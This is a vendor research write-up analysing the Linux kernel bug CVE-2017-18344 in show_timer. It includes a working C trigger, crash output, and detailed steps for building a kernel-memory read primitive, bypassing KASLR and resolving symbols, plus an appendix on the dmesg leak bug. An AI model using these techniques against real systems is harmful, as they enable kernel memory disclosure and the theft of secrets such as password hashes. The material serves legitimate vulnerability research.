IMMUNITY

KNOWING YOU'RE SECURE

Kernel Memory disclosure & CANVAS Part 2 - CVE-2017-18344 analysis & exploitation notes

IMMUNITY

October 25, 2018 By: Ricardo, Immunity Inc

Table of Contents

In this second document we analyze and detail the exploitation of *CVE-2017-18344* which was first discussed in detail by *xairy*. The corresponding exploit is named "*show_timer*" in CANVAS. Contrary to most kernel memory disclosure bugs, we are not exploiting it as some other bug's sidekick but rather on its own, following our previous work on Spectre. In many ways we can think of *CVE-2017-18344* as a software based variant of Spectre/Meltdown (but less safe to exploit). A few notes related to the so-called "dmesg bug" can also be found in the appendix.

1. Bug Analysis

First of all, let us try to understand what *timer_create()* is about. As specified within the man page:

```
timer_create() creates a new per-process interval timer. The ID of the new timer is
returned in the buffer pointed to by timerid, which must be a non-null pointer. This ID is
unique within the process, until the timer is deleted. The new timer is initially
disarmed.
```

A timer created with *timer_create()* must be destroyed with *timer_delete()*. When such a timer exists, an entry appears in "/proc/*[pid]*/timers". The function creating the /proc file is *show_timer()* whose code (in its old and vulnerable version, kernel 4.4.4) is:

fs/proc/base.c:

```
static int show_timer(struct seq_file *m, void *v)
{
        struct k_itimer *timer;
        struct timers_private *tp = m->private;
        int notify;
        static const char * const nstr[] = {
                [SIGEV_SIGNAL] = "signal",
                [SIGEV_NONE] = "none",
                [SIGEV_THREAD] = "thread",
        };

        timer = list_entry((struct list_head *)v, struct k_itimer, list);
        notify = timer->it_sigev_notify;

        seq_printf(m, "ID: %d\n", timer->it_id);
        seq_printf(m, "signal: %d/%p\n",
                   timer->sigq->info.si_signo,
                   timer->sigq->info.si_value.sival_ptr);
        seq_printf(m, "notify: %s/%s.%d\n",                          // [L1]
                   nstr[notify & ~SIGEV_THREAD_ID],
                   (notify & SIGEV_THREAD_ID) ? "tid" : "pid",
                   pid_nr_ns(timer->it_pid, tp->ns));
        seq_printf(m, "ClockID: %d\n", timer->it_clock);
        return 0;
}
```

The interesting line is **[L1]** as one can see that:

1. *notify* is an index array and *nstr[notify & ~SIGEV_THREAD_ID]* is a string pointer.
2. (~SIGEV_THREAD_ID) is 0xfff...ffffb (since *SIGEV_THREAD_ID*=4) therefore bit 2 is trashed while the rest of the index is still used as it is.
3. If the user can control *notify* somehow then she is able to read the content of the memory starting at the address stored at *nstr[notify]*.
4. The amount of data leaked depends on the position of the next '\0' character encountered as it stops the copy.

Since *notify* is a copy of *timer->it_sigev_notify*, what is important is to understand how much it can be controlled. This field is created within the syscall *timer_create()*:

kernel/time/posix-timers.c:

```
SYSCALL_DEFINE3(timer_create, const clockid_t, which_clock,
                struct sigevent __user *, timer_event_spec,
                timer_t __user *, created_timer_id)
{
[...] // timer_event_spec is left untouched until now

        if (timer_event_spec) {
                if (copy_from_user(&event, timer_event_spec, sizeof (event))) {  // [L1]
                        error = -EFAULT;
                        goto out;
                }
                rcu_read_lock();
                new_timer->it_pid = get_pid(good_sigevent(&event));      // [L2]
                rcu_read_unlock();
                if (!new_timer->it_pid) {                                // [L3]
                        error = -EINVAL;
                        goto out;
                }
        } else {
                memset(&event.sigev_value, 0, sizeof(event.sigev_value));
                event.sigev_notify = SIGEV_SIGNAL;
[...]
        }

        new_timer->it_sigev_notify     = event.sigev_notify;            // [L4]
        new_timer->sigq->info.si_signo = event.sigev_signo;
        new_timer->sigq->info.si_value = event.sigev_value;
        new_timer->sigq->info.si_tid   = new_timer->it_id;
        new_timer->sigq->info.si_code  = SI_TIMER;
        if (copy_to_user(created_timer_id,
                         &new_timer_id, sizeof (new_timer_id))) {
                error = -EFAULT;
                goto out;
        }
```

The *event* struct is copied from userland **[L1]** if *timer_event_spec* is not NULL. A check is then performed in **[L2]** by *good_sigevent(). If good_sigevent()* returns NULL, *timer_create()* returns an error **[L3]** however if it does not, the field *new_timer->it_sigev_notify* is set with a user controlled value **[L4]**.

Let us now have a look at the code of *good_sigevent()*:

include/linux/pid.h:

```
static struct pid *good_sigevent(sigevent_t * event)
{
        struct task_struct *rtn = current->group_leader;

        if ((event->sigev_notify & SIGEV_THREAD_ID ) &&
                (!(rtn = find_task_by_vpid(event->sigev_notify_thread_id)) ||
                 !same_thread_group(rtn, current) ||
                 (event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_SIGNAL))
                return NULL;

        if (((event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE) &&
             ((event->sigev_signo <= 0) || (event->sigev_signo > SIGRTMAX)))
                return NULL;

        return task_pid(rtn);
}
```

We have seen before that both branches should be avoided to prevent NULL from being returned. The first one is easy to escape for arbitrary *sigev_notify* (what will later becomes an arbitrary user controlled offset) as demonstrated below:

```
; SIGEV_THREAD_ID=4
; 0x2939f8 & SIGEV_THREAD_ID
        0
; 0x41414141 & SIGEV_THREAD_ID
        0
```

Almost any value is correct if the bit 2 is cleared. The second branch can also be bypassed as one can make the following observations:

- *(event->sigev_notify & ~SIGEV_THREAD_ID) != SIGEV_NONE)* is almost always TRUE for arbitrary *sigev_notify* thus not a problem
- If *sigev_signo* is both > 0 and <= 64 then the condition *(event->sigev_signo <= 0)* || *(event->sigev_signo > SIGRTMAX)* is never satisfied and the function returns a valid pointer.

In a nutshell, there is no real security check and attackers may set almost any arbitrary *sigev_signo* value hence this is an almost perfect out-of-bound access.

2. First trigger

A very simple trigger can quickly be written:

```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/syscall.h>

void init()
{
    sigevent_t se;
    memset(&se, 0, sizeof(se));
    se.sigev_signo = SIGRTMIN;  // 32 thus within [1,64]
    se.sigev_notify = 3;    // With this value, we are already out of bound
    timer_t timerid = 0;
    syscall(SYS_timer_create, CLOCK_REALTIME, (void *)&se, &timerid);
}

int main(int argc, char **argv)
{
    char buffer[256];
    int fd;

    // Prepare a faulty sigev_notify
    init();

    // Trigger the OOB read
    memset(buffer, 0, 256);
    fd = open("/proc/self/timers", O_RDONLY);
    read(fd, buffer, 256);
    close(fd);

    return 0;
}
```

In this case, with SMAP and a couple of debugging options turned on such as *kdump* and *panic_on_oops*, the following crashdump is created on Fedora 27 (kernel 4.13.9-300.fc27.x86_64):

```
[ 1182.903450] general protection fault: 0000 [#1] SMP
[...]
[ 1182.903476]  vmwgfx drm_kms_helper crc32c_intel ttm serio_raw drm mptspi
scsi_transport_spi e1000 mptscsih mptbase ata_generic pata_acpi
[ 1182.903482] CPU: 0 PID: 18071 Comm: poc Not tainted 4.13.9-300.fc27.x86_64 #1
[ 1182.903483] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference
Platform, BIOS 6.00 05/19/2017
[ 1182.903484] task: ffff9e50d99e0000 task.stack: ffffc315c651c000
[ 1182.903487] RIP: 0010:string+0x24/0x90
[ 1182.903488] RSP: 0018:ffffc315c651fcc0 EFLAGS: 00010086
[ 1182.903489] RAX: 006e656c6e727474 RBX: ffff9e50d4d3902a RCX: ffff0a00ffffff04
[ 1182.903490] RDX: an RSI: ffff9e50d4d3a000 RDI: ffffffffffffffff
[ 1182.903490] RBP: ffffc315c651fcc0 R08: fffffffffffffffe R09: ffff9e50d4d3902a
[ 1182.903491] R10: ffffc315c651fdb0 R11: 000000006c756e28 R12: ffff9e50d4d3a000
[ 1182.903492] R13: 0000000000000fde R14: ffffffff97ca93b5 R15: ffffffff97ca93b5
[ 1182.903493] FS:  00007f9c2eb7c740(0000) GS:ffff9e50fb600000(0000) knlGS:0000000000000000
[ 1182.903494] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1182.903494] CR2: 00007f9c2ea7c008 CR3: 000000001d648000 CR4: 00000000003406f0
[ 1182.903521] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 1182.903522] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 1182.903522] Call Trace:
[ 1182.903525]  vsnprintf+0x2a6/0x4d0
[ 1182.903528]  seq_vprintf+0x35/0x50
[ 1182.903529]  seq_printf+0x4e/0x70
[ 1182.903531]  ? __kmalloc_node+0x202/0x2c0
[ 1182.903532]  show_timer+0x88/0xb0
[ 1182.903533]  seq_read+0xc9/0x3f0
[ 1182.903535]  __vfs_read+0x37/0x160
[ 1182.903537]  ? security_file_permission+0x9b/0xc0
[ 1182.903538]  vfs_read+0x8e/0x130
[ 1182.903570]  SyS_read+0x55/0xc0
[ 1182.903573]  entry_SYSCALL_64_fastpath+0x1a/0xa5
```

There is an obvious crash within *show_timer()* and one can see that the faulty instruction is dereferencing %rdx:

```
ffffffff818882b0 <string>:
ffffffff818882b0:       55                      push   %rbp
ffffffff818882b1:       49 89 f9                mov    %rdi,%r9
ffffffff818882b4:       48 89 cf                mov    %rcx,%rdi
ffffffff818882b7:       48 c1 ff 30             sar    $0x30,%rdi
ffffffff818882bb:       48 81 fa ff 0f 00 00    cmp    $0xfff,%rdx
ffffffff818882c2:       48 89 e5                mov    %rsp,%rbp
ffffffff818882c5:       4c 8d 47 ff             lea    -0x1(%rdi),%r8
ffffffff818882c9:       76 47                   jbe    ffffffff81888312 <string+0x62>
ffffffff818882cb:       48 85 ff                test   %rdi,%rdi
ffffffff818882ce:       74 53                   je     ffffffff81888323 <string+0x73>
ffffffff818882d0:       48 8d 42 01             lea    0x1(%rdx),%rax
ffffffff818882d4:       0f b6 12                movzbl (%rdx),%edx       // string+0x24
ffffffff818882d7:       84 d2                   test   %dl,%dl
[...]
```

Both *rax* and *rdx* are invalid pointers as *'006e656c6e727473'* (aka ‘strlen’) is in fact a string stored next to the *nstr* array.

3. Exploitation (nosmap)

An already existing (and interesting) PoC published by *xairy* can be found on his github. His exploit is using completely different techniques. In particular, it uses a dichotomy for pointer location and the IDT for KASLR bypassing. For several reasons, we chose a completely different path. Both exploits in their current state are mitigated by SMAP.

3.1 Achieving a safe OOB read

The KASLR prevents attackers from knowing precisely both the location of the kernel address base (**B**) and the address of *nstr* (**X**). Therefore the only thing known is that **X** = **B** + offset(*nstr*) and that the dereferenced pointer will be read (assuming bit 2 of *notify* is 0) at:

*(unsigned long)(**X** + 8*notify) = (**B** + offset(nstr) + 8*notify) & 0xffffffffffffffff*

0xffffffff81000000 is the lowest possible **B** and *0* is the lowest (theoretical) possible value for *offset(nstr)* therefore an option would be to use a *sigev_notify* value of say (*0x10000000*) or above. Indeed we have:

```
; (0xffffffff81000000 + 0 + 8*0x10000000) & 0xffffffffffffffff
        0x1000000
```

Whatever the amount of physical memory that the target has, we can easily *mmap()* hundred of MB past the *0x1000000* address. We can create a valid landing page even if we don't know precisely yet its location.

However *sigev_notify* must absolutely be lower than this because *notify* is in fact an *int* (which is signed). As a result, because of the integer promotion mechanism, 8*0x10000000 (which equals *0x80000000)* may become 0xffffffff80000000 when used as an offset and the landing page would be in kernel land.

Example of safe OOB read primitive

1. Set *notify* to 0xfe20000 and observe that (0xffffffff81000000 + 8*0x0fe20000) & 0xffffffffffffffff equals 0x100000
2. Allocate several hundreds of megabytes at 0x100000
3. Fill that area with pointer 0x100000 (8 bytes)
4. Store 'win!\0' at 0x100000
5. Trigger the bug with these parameters and you should be able to read 'win!' in */proc/self/timers*

Obviously, instead of 0x100000 we could also have stored a kernel pointer and it would have leaked kernel memory. However we may want first to improve our primitive as:

1. Rewriting the mapping in memory each time we need to read one byte slows down a lot the read process (and is not that stealth either).
2. Pinpointing the precise location of the copy pointer read offer more granularity and ultimately leaks **X** and to bypass the KASLR as demonstrated later.

3.2 Finding X

To find the copy pointer, one solution is to simply store pointers set to memory areas with specific contents. Assuming a one-to-one mapping (pointer ↔ content), the first read immediately leaks the pointer, thus the offset within the userland mapping. To reduce the memory footprint and to speed up this step, the content located at one specific address **A** can be **A** itself. Please note that:

Being a userland pointer, the 4 MSB will be set to 0, ending the leak, thus the exploit will never leak more than 4 bytes.

Attackers may not leak the entire lower part of the pointer if it contains a null byte. To reduce the probability of such an occurrence, attackers may simply start the userland mapping at 0x01010000. Practically speaking we always leaked 4 bytes with this trick.

A mapping starting at 0x01010000 may be a problem with typical compilation options as your CODE segment may get in the way. There are several solutions to solve this issue though such as compiling a PIE.

Notes:

- Another solution *could* be to use a cache timing attack. This is untested (useless) but it should work. It should only be trivial with Intel though and more difficult with other architectures where you can't *easily* flush arbitrary cache lines.
- Beware of how you use *mmap()*. An incorrect use of parameters would consume a lot of RAM and fail on low memory systems. The CANVAS exploit works on systems with as little as 512 MB of RAM.

A few words about the allocation amount

With KASLR enabled, **B** is within the range [*MIN_B*, *MAX_B*] where *MIN_B* = 0xffffffff81000000 and *MAX_B* = 0xfffffffff000000. As a result, the two worse cases are:

- **X** = MIN_B + OFFSET_0 (i.e. that must lead to a read at 0x01010000)
- **X** = MAX_B + KERNEL_SIZE - 8 (i.e. that must lead to an access to 0x01010000 + mapping_size - 8)

Notes:

- Of course these two cases can never occur practically speaking but being able to handle them means being able to handle all of those within that range.
- mapping_size is computed using this formula: *MAX_B* – *MIN_B* + *KERNEL_SIZE* = (0xfffffffff000000 - 0xffffffff81000000) + (256*1024*1024) = 0x8e000000 (around 2.3 GB)
- One can safely assume that *KERNEL_SIZE* (the kernel addresses range) is either 128 or 256 MB wide. Memory wise, it is not significant compared to the size of the slot range.

Demonstration with Fedora 27

First let's grab the addresses of both *startup_64* and *nstr:*

```
[foo@localhost ~]$ cat /proc/kallsyms |grep startup_64
ffffffffb9000000 T startup_64
[foo@localhost ~]$ cat /proc/kallsyms |grep 'nstr\.'
ffffffffb9a3ee40 r nstr.42408
```

Now let's run our PoC:

```
[foo@localhost ~]$ gcc poc.c -o poc -pie -fPIC
[foo@localhost ~]$ ./poc
Addr : 0x1010000
RV = 0
ID: 0
```

```
signal: 34/          (null)
notify: @��9/pid.2337
ClockID: 0

FOUND LEAK of 4 bytes!
40 ee a4 39
```

And the evidence (*nstr* is leaked):

```
; 0x39a4ee40 - 0x01010000 + 0xffffffff81000000
       0xffffffffb9a3ee40
```

Now that the offset is known, an attacker may *unmmap()* the mapping at *0x01010000* and only remap the corresponding page (this is what is implemented in CANVAS). Every time you will want to read kernel memory, this will only cost you to write a single pointer and a few system calls which is nothing.

3.3 Toward a real life exploit

Writing a generic exploit (i.e. leaking very specific memory within the kernel in order to retrieve arbitrary files) means being able to defeat the KASLR as you need to recover the *startup_64* address.

One may think that the 4 bytes leak does the job, indeed:

```
; 0x39a4ee40 - 0x01010000
       0x38a3ee40
; 0xffffffffb9000000 - 0xffffffff81000000
       0x38000000
```

Thus it is tempting to think that the KASLR offset is leaked in the MSB as shown in the example. This is however practically speaking wrong in most cases because the KASLR offset may use 12 bits and not just 8 (e.g. *0xffffffffb9400000* is a valid *startup_64* address).

So does it mean that we are not leaking anything useful? It depends:

1. For a given kernel target, one can know exactly *offset(nstr)*. When **X** is leaked, so are *startup_64* (**B**) and *nstr.foo* and the KASLR is defeated. The cost is the knowledge of *offset(nstr)* which is a problem if you don't have the ability to (pre)retrieve that information automatically.
2. In the case of (*old*) Fedora distributions, the attacker can leak *startup_64* and *nstr.foo* by directly read */proc/kallsyms*. In this specific case the **X** leak is only a useless confirmation that your primitive is working as expected. This is the default method attempted by the exploit.
3. Generally speaking, in the context of (partially) unknown targets, even if we do not leak directly **B**, we do leak a very useful address as it is within the *.rodata* section of the kernel thus only a few megabytes away from **B**). Since there is no gap in between, we can perform a backward (pattern based) scan to reveal **B** with just a few reads. This is the solution used by the CANVAS exploit when the previous solution fails (such as on Ubuntu for example).

4. A few words about (almost) generic targets

The exploits written using our framework all use the same algorithm within the frontend. To be functional, they all need a read primitive within the kernel memory as well as the ability to:

1. Guess the offsets of some kernel structure's fields.
2. Resolve arbitrary kernel symbols.

For this reason, all our (non generic) targets use hardcoded values (in the second case we obviously embed offsets to add to the kernel base address once it is discovered by *READ_get_kbase()*). From both a stability and speed point of view, this is the best solution. However it is an obvious and unfortunate problem when an unknown kernel occurs. With modern distributions, this is not an uncommon situation. We could have automated the download and analysis of all the possible kernels for a given distribution (using a qemu + lkm/initrd scripting combination for example) but we chose to implement a runtime strategy instead. Let's now discuss the cases of Ubuntu and Fedora.

4.1 Fedora distributions

Fedora is the perfect example of natural generic targets. Indeed with the first release of the Spectre exploit we provided a single target handling Fedora 24 to 27. It was trivial to implement this target because:

- Structures' offsets are constants across distributions. This could be a surprise because the kernel minor versions are not the same between these distributions (e.g. 4.11.x on Fedora 24, 4.14.x on Fedora 27, etc.).
- "/proc/kallsyms" is not protected by default. This means that the KASLR is trivially bypassed by fetching the *startup_64* symbol and all the other symbols are leaked as well. This behavior has seemingly changed in more recent versions.

4.2 Ubuntu distributions

In the case of Ubuntu, offsets are always predictable because they are extremely stable for a given Linux kernel branch (such as 4.13.0-X for Ubuntu 17.10). As a result, the only difficulty here is to perform the symbol resolution. Now conceptually this is an extremely easy to write function but practically speaking you may need an efficient (aka fast) *READ_get_byte()* primitive as there is "a lot" of data to fetch for slow primitives such as Spectre or the dmesg one. As an example Spectre may take between 40 to 50 minutes to perform the symbol resolution when it then fetches the shadow file in less than 2 minutes on the same configuration. The *show_timer* exploit (in its standalone version) takes around 1 second to complete with unknown Ubuntu targets.

<u>Rough description of the algorithm for kernels 4.4.0-X (and possibly below)</u>

These kernels are compiled <u>without</u> *CONFIG_KALLSYMS_ABSOLUTE_PERCPU* and *CONFIG_KALLSYMS_BASE_RELATIVE* configuration options. The algorithm follows the following steps:

- Locate the ".rodata" section based on the kernel address base and using specific patterns

- Call *SYM_get_pos()* to find the position of the *startup_64* symbol in the lists of kernel only symbols
- Calls *DETECT_syms_ptr_array()* to find the location of the symbol array. This function uses the previous position to pinpoint accurately the exact beginning of the array.
- Deduce the address of whatever symbol you need based on its position within the array.

The case of kernels 4.8.0-X and above

These kernels are compiled with both CONFIG_KALLSYMS_ABSOLUTE_PERCPU=y and CONFIG_KALLSYMS_BASE_RELATIVE=y configuration options. The symbol resolution algorithm is roughly the same thus it is meaningless to detail it. The only exception would be that the retrieved array (which is not the same kernel object) does not contain pointers but instead (signed) offsets.

The author would like to thank Bas & the CANVAS team.

5. References

[CVE_2017_18344] https://www.cvedetails.com/cve/CVE-2017-18344/
[DMESG_POC] "Linux 4.18 - Arbitrary Kernel Read into dmesg via Missing Address Check in segfault Handler", Google Security Research
[XAIRY_NOTES] https://www.openwall.com/lists/oss-security/2018/08/09/6
[XAIRY_POC] https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-18344

Appendix A - About the recent Dmesg bug

An interesting bug to mention is the so-called “dmesg bug” because, just like Spectre and CVE-2017-18344, it provided a powerful leak within the kernel memory. The bug itself is incredibly simple and was first introduced by the commit ba54d856a9d8:

```
diff --git a/arch/x86/mm/fault.c b/arch/x86/mm/fault.c
index 321b78060e93..d81ea7835737 100644
--- a/arch/x86/mm/fault.c
+++ b/arch/x86/mm/fault.c
@@ -851,6 +851,8 @@ static inline void
 show_signal_msg(struct pt_regs *regs, unsigned long error_code,
                 unsigned long address, struct task_struct *tsk)
 {
+       const char *loglvl = task_pid_nr(tsk) > 1 ? KERN_INFO : KERN_EMERG;
+
        if (!unhandled_signal(tsk, SIGSEGV))
                return;

@@ -858,13 +860,14 @@ show_signal_msg(struct pt_regs *regs, unsigned long error_code,
                return;

        printk("%s%s[%d]: segfault at %lx ip %px sp %px error %lx",
-               task_pid_nr(tsk) > 1 ? KERN_INFO : KERN_EMERG,
-               tsk->comm, task_pid_nr(tsk), address,
+               loglvl, tsk->comm, task_pid_nr(tsk), address,
                (void *)regs->ip, (void *)regs->sp, error_code);

        print_vma_addr(KERN_CONT " in ", regs->ip);

        printk(KERN_CONT "\n");
+
+       show_opcodes((u8 *)regs->ip, loglvl);           // [L1]
 }
```

The commit message itself points out that there might be a security issue with the patch and the (seemingly honest) mistake survived long enough to be shipped in a couple of distributions including *Arch Linux*, the main target of our CANVAS exploit.

The bug itself lies in **[L1]**. A call to *show_opcodes()* is performed without any security or permission check on *regs*. As a result, if an attacker runs a program calling an arbitrary kernel address as its next instruction, the corresponding crash triggers a leaking kernel log. Indeed, the corresponding opcodes (memory bytes) following that address are exposed. Depending on the configuration, an unprivileged user may be able to read the kernel log using the *dmesg* program, the “*/dev/kmsg*” device or any other suitable way ;-). A PoC illustrated this can be found on exploitdb.

As far as we know, this issue does not seem to have a CVE Identifier. There is little to say about the corresponding exploit because it was trivial to write as a backend of our framework. Among the remarkable things to observe though, one can say that:

- SMAP is by design bypassed since the kernel accesses to kernel pages.

- The read primitive is safe (as opposed to *CVE-2017-18344* for example) and won't crash the kernel even when invalid addresses are used. This is due to the fact that *__probe_kernel_read()* (which disables page fault handling for the time of the read) is used.

CANVAS' exploits dealing with arbitrary kernel memory leaks are generic and written using a *READ_*()* API as explained previously. Unfortunately, a *READ_get_byte()* call is slow in this case which is mainly because we had to introduce small time breaks in order to be sure that the expected log would not be dropped by the kernel. As a result, *READ_get_byte()* is implemented using a cache. Since the bug is *practically not that interesting* we did not want to spend much time on it. As a result this cache mechanism is an extremely basic one.

<u>Note:</u> From a performance point of view we observed that on an i7, our *Spectre* exploit would actually run faster than our *dmesg* exploit.

Immunity, Inc:
www.immunityinc.com
sales@immunityinc.com
Phone: +1 786.220.0600
2751 N. Miami Ave.
Suite #7
Miami, Florida 33127